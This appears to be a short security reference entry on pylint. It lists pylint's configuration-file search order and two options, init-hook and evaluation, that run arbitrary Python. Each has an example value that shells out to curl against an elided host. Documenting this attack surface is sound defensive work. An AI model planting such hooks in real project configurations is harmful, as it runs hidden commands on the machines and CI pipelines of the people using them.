LOTP
pylint
References
Pylint is a static code analyser for Python. Unless pylint
is invoked using a specific configuration file, Pylint will search for a configuration file in the current working directory in the following order:
pylintrc
pylintrc.toml
, in the sectiontool.pylint.
.pylintrc
.pylintrc.toml
, in the sectiontool.pylint.
pyproject.toml
, in the sectiontool.pylint.
setup.cfg
, in the sectionpylint.
tox.ini
, in the sectionpylint.
Pylint has 2 configuration options that can execute arbitrary Python code:
[MAIN]
# Python code to execute, usually for sys.path manipulation such as
init-hook=__import__("os").system("curl ...")
[REPORTS]
# Python expression which should return a score less than or equal to 10. You
# have access to the variables 'fatal', 'error', 'warning', 'refactor',
# 'convention', and 'info' which contain the number of messages in each
# category, as well as 'statement' which is the total number of statements
# analyzed. This score is used by the global evaluation report (RP0004).
evaluation=__import__("os").system("curl ...") or 0
score=yes